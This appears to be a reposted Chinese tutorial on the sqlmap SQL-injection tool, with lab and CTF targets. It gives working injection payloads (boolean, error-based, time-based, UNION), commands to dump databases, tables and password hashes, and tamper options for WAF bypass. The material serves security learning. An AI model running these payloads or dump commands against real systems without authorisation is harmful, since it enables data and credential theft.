sqlmap使用

sqlmap使用
达达sqlmap使用
SQLmap
一、目标
1、指定url
2、指定文件(批量检测)
3、指定数据库/表/字段
4、post请求
5、cookie注入
二、脱库
1、获取数据库
2、获取表
3、获取字段
4、获取字段类型
5、获取值(数据)
6、获取用户
7、获取主机名
8、搜索库、表、字段。
9、正在执行的SQL语句
三、WAF绕过
三、其他
SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap
打开终端,输入sqlmap
,出现以下界面,就说明SQLmap「可用」。
SQLmap(常规)使用步骤
1、检测「注入点」
1 | sqlmap -u 'http://xx/?id=1' |
1 | python sqlmap.py -u "https://5cb2987f-1428-4f5b-8265-537677d52fd0.challenge.ctf.show/?id=1" |
可以看到
注入点位置(Injection Point)
1 | Parameter: id (GET) |
这是指 URL 中的 id
参数,即这个请求:
1 | http://5b96b31c-3596-4923-8400-bb20e08d1c5d.challenge.ctf.show/?id=1 |
目标数据库类型:MySQL ≥ 5.0(MariaDB fork)
Web 技术栈:PHP 5.6.40 + Nginx 1.20.1
注入类型及 Payload
✅ Boolean-based Blind 注入
描述:通过布尔判断页面差异
Payload:
1
id=1' AND 4354=4354 AND 'STvH'='STvH
✅ Error-based 报错注入
描述:利用 MySQL 报错信息提取数据
Payload:
1
id=1' AND (SELECT 1854 FROM(SELECT COUNT(*),CONCAT(0x71766a7671,(SELECT (ELT(1854=1854,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ctuL'='ctuL
✅ Time-based Blind 时间盲注
描述:通过延时判断真假
Payload:
1
id=1' AND (SELECT 9178 FROM (SELECT(SLEEP(5)))Fzsc) AND 'LxaM'='LxaM
✅ UNION Query 联合查询注入
描述:通过
UNION SELECT
合并结果列数:3
Payload:
1
id=-3965' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x594b69496263796e4a506e6f736b4351597a4359456c63447976706c5065786d6e52554d486e514d,0x717a7a6b71)-- -
中间那段是 HEX 编码后的字符串(标识符,SQLMap用来检测成功注入)
2.查看所有「数据库」
sqlmap -u ‘http://xx/?id=1‘ –dbs
3、查看当前使用的数据库
1 | sqlmap -u 'http://xx/?id=1' --current-db |
4、查看「数据表」
1 | sqlmap -u 'http://xx/?id=1' -D 'security' --tables |
5、查看「字段」
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns |
6、查看「数据」
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump |
一、目标
检测「注入点」前,需要指定需要检测的「对象」。
1、指定url
-u
参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。
提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。
1 | sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' |
扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。
2、指定文件(批量检测)
准备一个「文件」,写上需要检测的多个url,一行一个。
-m
指定文件,可以「批量扫描」文件中的url。
1 | sqlmap -m urls.txt |
逐个扫描url,需要确认就按y。
扫描完一个,就会提示存在的注入点。
然后再按y扫描下一个url。
3、指定数据库/表/字段
-D
指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T
指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C
指定目标「字段」,单/双引号包裹,常配合其他参数使用。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump |
4、post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r
指定需要检测的文件,SQLmap会通过post请求方式检测目标。
1 | sqlmap -r bp.txt |
5、cookie注入
--cookie
指定cookie的值,单/双引号包裹。
1 | sqlmap -u "http://xx?id=x" --cookie 'cookie' |
二、脱库
获取所有内容
1 | sqlmap -u 'http://xx/?id=1' -a |
-a
就是 all 的意思,获取所有能获取的内容,会消耗很长时间。
1、获取数据库
--dbs
获取数据库
1.1、获取数据库版本
1 | sqlmap -u 'http://xx/?id=1' -b |
最后面显示数据库的版本,这里检测的版本是 5.7.26。
1.2、获取当前使用的数据库
1 | sqlmap -u 'http://xx/?id=1' --current-db |
在最后面显示当前使用的数据库的名字是 security。
1.3、获取所有数据库
1 | sqlmap -u 'http://xx/?id=1' --dbs |
最后面显示所有数据库的名字。
2、获取表
--tables
获取表
2.1、获取表,可以指定数据库
1 | sqlmap -u 'http://xx/?id=1' -D 'security' --tables |
最后面显示数据库(security)里所有的表名。
2.2、同时获取多个库的表名,库名用逗号分隔。
1 | sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables |
2.3、不指定数据库,默认获取数据库中所有的表。
1 | sqlmap -u 'http://xx/?id=1' --tables |
最后面显示每个数据库下都有哪些表。
3、获取字段
--columns
参数用来获取字段。
3.1、获取字段,可以指定库和表
提示:只指定库名但不指定表名会报错。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns |
最后面显示表(users)中的所有字段。
3.2、不指定表名,默认获取当前数据库中所有表的字段。
1 | sqlmap -u 'http://xx/?id=1' --columns |
4、获取字段类型
--schema
获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' --schema |
最后面显示每个表的字段类型。
5、获取值(数据)
--dump
获取值,也就是表中的数据。可以指定具体的库、表、字段。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump |
获取指定库中所有表的数据。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' --dump |
默认获取表中的所有数据,可以使用 --start
--stop
指定开始和结束的行,只获取一部分数据。
1 | sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump |
6、获取用户
6.1、获取当前登录数据库的用户
1 | sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user |
最后面显示当前登录数据库的用户是 root@localhost。
6.2、获取所有用户
--users
获取数据库的所有用户名。
1 | sqlmap -u 'http://xx/?id=1' --users |
最后面显示数据库的所有用户名。
6.3、获取用户密码
--passwords
获取所有数据库用户的密码(哈希值)。
数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。
最后面显示数据库用户名对应的密码(哈希值)。
6.4、获取用户权限
--privileges
查看每个数据库用户都有哪些权限。
1 | sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges |
最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。
6.5、判断当前用户是不是管理员
--is-dba
判断当前登录的用户是不是数据库的管理员账号。
1 | sqlmap -u 'http://xx/?id=1' --is-dba |
如果是管理员,就在最后面显示 true。
7、获取主机名
--hostname
获取服务器主机名。
1 | sqlmap -u 'http://xx/?id=1' --hostname |
最后面显示服务器的主机名是 DESKTOP。
8、搜索库、表、字段。
--search
搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。
搜索数据库中有没有 security 这个数据库:
1 | sqlmap -u 'http://xx/?id=1' -D 'security' --search |
需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。
也可以搜索表
1 | sqlmap -u 'http://xxx/?id=1' -T 'users' --search |
或者搜索字段
1 | sqlmap -u 'http://xx/?id=1' -C 'username' --search |
9、正在执行的SQL语句
--statements
获取数据库中正在执行的SQL语句。
1 | sqlmap -u 'http://xx/?id=1' --statements |
最后面显示正在执行的SQL语句。
三、WAF绕过
--tamper
指定绕过脚本,绕过WAF或ids等。
1 | sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py' |
SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:
脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。
当然,你也可以根据内置脚本格式,自己定义绕过脚本。
三、其他
–batch (默认确认)不再询问是否确认。
–method=GET 指定请求方式(GET/POST)
–random-agent 随机切换UA(User-Agent)
–user-agent ‘ ‘ 使用自定义的UA(User-Agent)
–referer ‘ ‘ 使用自定义的 referer
–proxy=”127.0.0.1:8080” 指定代理
–threads 10 设置线程数,最高10
–level=1 执行测试的等级(1-5,默认为1,常用3)
–risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
原文链接SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客
本人没做修改